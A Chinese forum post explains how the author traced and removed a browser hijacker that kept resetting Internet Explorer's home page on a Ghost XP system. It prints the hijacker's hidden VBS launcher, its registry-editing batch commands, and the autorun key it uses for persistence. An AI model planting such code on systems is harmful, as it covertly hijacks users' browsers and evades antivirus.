删除http://www.5599.net/?10
最近重装电脑,系统是GHOST版的XP。照例安装360安全卫士。
IE的首页为HTTP://WWW.5599.NET/?10。我用360修复IE,不行,进入注册表,修改IE的默认页面。这样,虽然可以了,但每次开机总提示IE被修改。
最后只好找启动项了,在启动项里找到一个“1”的启动项,没有出口公司。启动的是ctfmon.vbs这个,很可疑。于是找到文件C:\WINDOWS\system32\ctfmon.vbs右键->编辑:
复制内容到剪贴板代码:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C C:\WINDOWS\system32\system.cmd", 0, TRUE)
这个简单了,顺藤摸瓜再找system.cmd这个文件就行,还是右键->编辑:
复制内容到剪贴板代码:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d [url]http://www.5599.net/?10[/url] /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d [url]http://www.5599.net/?10[/url] /f
看到没,问题出在这里了。
由于这几段代码都没什么问题,所以杀毒软件和360安全卫士都不会对它采取措施。
解释一下,第一个文件是让建一个wscript.shell的对像,而这个对像要做的,是用CMD运行system.cmd里写的这些东西,也就是改注册表里的IE默认页面。
最后,这个文件在注册表里的位置是HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run。自己改一下就行。
|